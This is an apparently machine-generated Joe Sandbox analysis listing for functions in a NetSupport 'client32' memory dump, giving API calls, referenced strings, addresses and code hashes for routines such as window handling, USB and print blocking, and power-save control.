String ID: %s\%s$ConfigList$General\ProductId$IsA()$NetSupport School$NetSupport School Pro$Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList$Software\NetSupport Ltd$Software\Productive Computer Insight$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 273891520-33395967
Opcode ID: 144e512998ce06086377d7856f386d7a7ba87abc4e9c3983cefc13e406a89c1b
Instruction ID: 955d7069f5cd37ed2049fe2a08fe06563fb7c7f4ee9c814884e1c508eb43a074
Opcode Fuzzy Hash: 144e512998ce06086377d7856f386d7a7ba87abc4e9c3983cefc13e406a89c1b
Instruction Fuzzy Hash: D2E16079E0122DABDB56DB55CC94FEDB7B8AF58758F4040C8E50977280EA306B84CF61

Function 1100D330 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D3A1

Strings

BadParam, xrefs: 1100D381
RequiresVista, xrefs: 1100D349
CannotLoadDll, xrefs: 1100D350
NotFound, xrefs: 1100D37A
Unknown error %d, xrefs: 1100D397
DllInitFailed, xrefs: 1100D357
Exception, xrefs: 1100D388, 1100D396
CannotGetFunc, xrefs: 1100D35E
StillInstances, xrefs: 1100D38F
AlreadyStopped, xrefs: 1100D36C
AlreadyStarted, xrefs: 1100D365
NoCapClients, xrefs: 1100D373

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: 2a27fff999b9e6e65603effbbf8ecb71915a099c4e3576d618f0ecb40c1a2276
Instruction ID: 0653d7d784af80274a32501aa5269da8b209429a0adf8b21c1593ff02ad98824
Opcode Fuzzy Hash: 2a27fff999b9e6e65603effbbf8ecb71915a099c4e3576d618f0ecb40c1a2276
Instruction Fuzzy Hash: 6FF0623268011C8BAE00C7ED74454BEF38D638056D7C8C892F4ADEAF15E91BDCA0E1A5

Function 11016500 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 154windowtimethreadCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 1101653C
IsWindowVisible.USER32(?), ref: 11016549
GetWindow.USER32(?,00000004), ref: 11016556
IsWindowVisible.USER32(00000000), ref: 11016561
GetClassNameA.USER32(?,?,00000020), ref: 11016576
SendMessageTimeoutA.USER32(?,0000000D,000000C8,?,00000002,00000064,?), ref: 110165DF
GetWindowThreadProcessId.USER32(?,?), ref: 11016604
DeleteObject.GDI32(00000000), ref: 1101665F

Strings

NSSWControl32, xrefs: 1101659D
NSMWControl32, xrefs: 110165A4, 110165A9
Progman, xrefs: 1101657F

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Visible$ClassDeleteMessageNameObjectProcessRectSendThreadTimeout
String ID: NSMWControl32$NSSWControl32$Progman
API String ID: 3572104470-975155618
Opcode ID: 9bedd5b8189153278156204b9e6d124ffaee7c4ea08e56ad7d15a7ae3b8edffa
Instruction ID: e961a916bbbcfe8b57c7ffd2e482cea40bc41dda2ab4819b6da64e7ff7338971
Opcode Fuzzy Hash: 9bedd5b8189153278156204b9e6d124ffaee7c4ea08e56ad7d15a7ae3b8edffa
Instruction Fuzzy Hash: AE514175D102299FDB54DF64CC84BEDB7B4BF49304F0041A9E519E7284EB74AA84CF90

Function 110762B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111EE708,AB86ACF8,1110FB6D,00000000,00000000,00000000,E8111B71,111834F3,000000FF,?,1110F22D,0003738B,30680D75,E8111B71,00000001,00000000), ref: 110762FE

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

InitializeCriticalSection.KERNEL32(0000000C,?,1110F22D,0003738B,30680D75,E8111B71,00000001,00000000,AB86ACF8,00000000,00000001,00000000,00000000,1118B138,000000FF), ref: 11076367
InitializeCriticalSection.KERNEL32(00000024,?,1110F22D,0003738B,30680D75,E8111B71,00000001,00000000,AB86ACF8,00000000,00000001,00000000,00000000,1118B138,000000FF), ref: 1107636D
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1110F22D,0003738B,30680D75,E8111B71,00000001,00000000,AB86ACF8,00000000,00000001,00000000,00000000), ref: 11076377
InitializeCriticalSection.KERNEL32(000004D0,?,1110F22D,0003738B,30680D75,E8111B71,00000001,00000000,AB86ACF8,00000000,00000001,00000000,00000000), ref: 110763CC
InitializeCriticalSection.KERNEL32(000004F8,?,1110F22D,0003738B,30680D75,E8111B71,00000001,00000000,AB86ACF8,00000000,00000001,00000000,00000000), ref: 110763D5

Strings

*TraceRecv, xrefs: 11076457
General, xrefs: 1107644B
_debug, xrefs: 11076475, 1107648F
*MaxRxPending, xrefs: 11076446
*TraceSend, xrefs: 11076481

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CreateEvent__wcstoi64
String ID: *MaxRxPending$*TraceRecv$*TraceSend$General$_debug
API String ID: 4263422321-2298398812
Opcode ID: 3bfa92a817ece274302d250373404b209347b29eec5472e03355f07c417707ac
Instruction ID: 06ccc5540fe39e817025fd6f1a9fd6d6e0fa44080d25a9a2500616ed5f0e287a
Opcode Fuzzy Hash: 3bfa92a817ece274302d250373404b209347b29eec5472e03355f07c417707ac
Instruction Fuzzy Hash: F651DF75A002859FDB11CF65CC84B9ABBE8FF84304F0485BAED599F245DB71A904CBA0

Function 1103E210 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 146COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103E256
_memmove.LIBCMT ref: 1103E263

Strings

SETOPTICALDRIVEACCESS, xrefs: 1103E2A4
BLOCKPRINTING, xrefs: 1103E2CD
SETUSBMASSSTORAGEACCESS, xrefs: 1103E273
IsA(), xrefs: 1103E314
SETUSBMASSSTORAGEACCESSACCESSMODES=%u, xrefs: 1103E296
RESUMEPRINTINGPRINTER=*FILETYPES=, xrefs: 1103E2F2
BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1, xrefs: 1103E2EB
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103E30F
SETOPTICALDRIVEACCESSACCESSMODES=%u, xrefs: 1103E2BF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID: BLOCKPRINTING$BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1$IsA()$RESUMEPRINTINGPRINTER=*FILETYPES=$SETOPTICALDRIVEACCESS$SETOPTICALDRIVEACCESSACCESSMODES=%u$SETUSBMASSSTORAGEACCESS$SETUSBMASSSTORAGEACCESSACCESSMODES=%u$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 1183979061-1830555902
Opcode ID: 9b34990abfa7304c75fe016d07a1042945b08913bde49073393358d21a8343bb
Instruction ID: 2acc51cda120abcbc41a40362124fa069fa22fd40148d7782b96d72c19966105
Opcode Fuzzy Hash: 9b34990abfa7304c75fe016d07a1042945b08913bde49073393358d21a8343bb
Instruction Fuzzy Hash: 8041B67590022A9FCB01CFA5CC90FEEB7B8EF85349F144669E815A7640EA35F904CBA1

Function 11104110 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 137libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,AB86ACF8), ref: 11104203
GetProcAddress.KERNEL32(00000000,SetThreadExecutionState), ref: 11104247
FreeLibrary.KERNEL32(00000000), ref: 11104284

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

SetLastError.KERNEL32(00000078), ref: 1110425B

Strings

Prevent Power Save (new count=%d,%d), same state=x%x, xrefs: 111042A1
Kernel32.dll, xrefs: 111041F8
*DisablePreventPowerSave, xrefs: 11104146
SetThreadExecutionState, xrefs: 1110423E
*DisableHighPerfPower, xrefs: 1110417A
Client, xrefs: 1110414B, 1110417F
Prevent Power Save (new count=%d,%d, newstate=x%x), prevstate=x%x, xrefs: 11104272

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressErrorFreeLastLoadProc__wcstoi64
String ID: *DisableHighPerfPower$*DisablePreventPowerSave$Client$Kernel32.dll$Prevent Power Save (new count=%d,%d), same state=x%x$Prevent Power Save (new count=%d,%d, newstate=x%x), prevstate=x%x$SetThreadExecutionState
API String ID: 338032539-196928431
Opcode ID: 9c57c70fdc21affc2296716391b8b67586f8e8409b6c3f0d4ea8d6a206138ae3
Instruction ID: 2e060bf9626fb0c35ad8c6db44363252f10ecc5b1c43e62de7a8a10b1031c62f
Opcode Fuzzy Hash: 9c57c70fdc21affc2296716391b8b67586f8e8409b6c3f0d4ea8d6a206138ae3
Instruction Fuzzy Hash: D641A4B9E41269AFEB00DF96DAD0AADFBF8FB45358F11453EE819A3604D7301844CB51

Function 11146570 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 104processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

wsprintfA.USER32 ref: 111465AC
PlaySoundA.WINMM(00000000,?,11042985), ref: 11146698

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75BF8400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

Part of subcall function 11143E00: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1111025B,75BF8400,?), ref: 11143E97
Part of subcall function 11143E00: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11143EB7
Part of subcall function 11143E00: FindCloseChangeNotification.KERNEL32(00000000), ref: 11143EBF

wsprintfA.USER32 ref: 11146603
_memset.LIBCMT ref: 11146610
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 11146648
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11146660
CloseHandle.KERNEL32(?), ref: 11146673
CloseHandle.KERNEL32(?), ref: 1114667C

Strings

D, xrefs: 1114663E
%sPlaySound.exe, xrefs: 111465A6
%s %s, xrefs: 111465FD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFile$FolderHandlePath_memsetwsprintf$ChangeFindModuleNameNotificationObjectOpenPlayProcessSingleSoundVersionWait_strncpy
String ID: %s %s$%sPlaySound.exe$D
API String ID: 409290027-2983100991
Opcode ID: 7102f52d56ead8846a781198aabe43335b826310a085ff073572e0cd4b1e8f60
Instruction ID: f12361923010530fa1f4d3c2fecabc411f8d2defed1a04cf58563ea8446b9f82
Opcode Fuzzy Hash: 7102f52d56ead8846a781198aabe43335b826310a085ff073572e0cd4b1e8f60
Instruction Fuzzy Hash: 1531B875A4022CA7EB24DB60DD41FEAB37CEB48708F100599FA18A75C0DBB1AB40CB94

Function 111242E0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 96windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetVersionExA.KERNEL32(?,View,*NoHideFEP,00000000,00000000,00000001), ref: 1112433F
InterlockedExchange.KERNEL32(111F19B4,00000001), ref: 11124365
CreateWindowExA.USER32(00000000,button,11195264,50000000,FFFFEC78,00000000,00000014,0000000E,?,00000001,00000000,00000000), ref: 111243AB
SetWindowLongA.USER32(00000000,000000FC,11124260), ref: 111243CB
SetFocus.USER32(00000000), ref: 111243E2
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 111243FC
DestroyWindow.USER32(00000000), ref: 11124412
InterlockedExchange.KERNEL32(111F19B4,00000000), ref: 11124429

Strings

button, xrefs: 111243A5
*NoHideFEP, xrefs: 1112430B
View, xrefs: 11124310

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ExchangeInterlockedLong$CreateDestroyFocusVersion__wcstoi64
String ID: *NoHideFEP$View$button
API String ID: 1610953178-1502386645
Opcode ID: 3df1cd25a3e99283e66dc0eb30b6fc3792aa7aceeb4f9b7b3075ab98f919e26e
Instruction ID: e7f43078c421523e46d189802bbe7ea8140fa8570dcc46dc3c934ff96bec0ddb
Opcode Fuzzy Hash: 3df1cd25a3e99283e66dc0eb30b6fc3792aa7aceeb4f9b7b3075ab98f919e26e
Instruction Fuzzy Hash: 4831C134686266EFE724CF61DEC4B66FBB8BB0530DF940228F92593984EB70A504CB50

Function 110F0180 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(00000000,00000000,00000000,?,?,110F0F5F,00000000,00000000,00000000), ref: 110F0195

Strings

lpDIBHdr, xrefs: 110F01AB
..\CTL32\pcibmp.cpp, xrefs: 110F01A6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: GlobalLock
String ID: ..\CTL32\pcibmp.cpp$lpDIBHdr
API String ID: 2848605275-3862004634
Opcode ID: 4a487efc62b0167be38a2ef6a589ff5fd5c2a3bcb33af42fea8e612d83ec71b4
Instruction ID: 48b537532a5f9d411629d31a319caae8f618a47305d54306625b328f3ccba6c9
Opcode Fuzzy Hash: 4a487efc62b0167be38a2ef6a589ff5fd5c2a3bcb33af42fea8e612d83ec71b4
Instruction Fuzzy Hash: 9F210876B402197BD711CEA5AC89FDBB7ADEB8926AF000175FD28C7244EA21D90087E5

Function 11138260 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,74DF0BD0,00000000), ref: 11138283
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 111382A4
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 111382B4
GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111382D1
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111382DD
_memset.LIBCMT ref: 111382F7

Strings

Terminal Server, xrefs: 11138321
ntdll.dll, xrefs: 1113829F
KERNEL32.DLL, xrefs: 111382C8
VerSetConditionMask, xrefs: 111382AE
VerifyVersionInfoA, xrefs: 111382D7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$Version_memset
String ID: KERNEL32.DLL$Terminal Server$VerSetConditionMask$VerifyVersionInfoA$ntdll.dll
API String ID: 1659045089-3162170060
Opcode ID: b43d23eca00fc98279872c74fba5cd571594f629bf43370f3fb923d7744f4274
Instruction ID: 6bea6a721b48e0bd7045a1c1c27de9b3bedd913fe245b2b434f6356e9170b374
Opcode Fuzzy Hash: b43d23eca00fc98279872c74fba5cd571594f629bf43370f3fb923d7744f4274
Instruction Fuzzy Hash: 5A216A34F00319ABF7109BB1ED84FDAFBA89F89799F000125ED44A7388DAB5D900C756

Function 11003010 Relevance: 18.1, APIs: 12, Instructions: 112COMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(?), ref: 1100306D
GetStockObject.GDI32(00000007), ref: 11003089
SelectObject.GDI32(?,00000000), ref: 1100309A
SelectObject.GDI32(?,?), ref: 110030A7
InflateRect.USER32(?,000000FC,000000FF), ref: 110030D8
GetSysColor.USER32(00000004), ref: 110030EB
SetBkColor.GDI32(?,00000000), ref: 110030F6
Rectangle.GDI32(?,?,?,?,?), ref: 11003110
SelectObject.GDI32(?,?), ref: 1100311E
SelectObject.GDI32(?,?), ref: 11003128
DeleteObject.GDI32(?), ref: 1100312E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
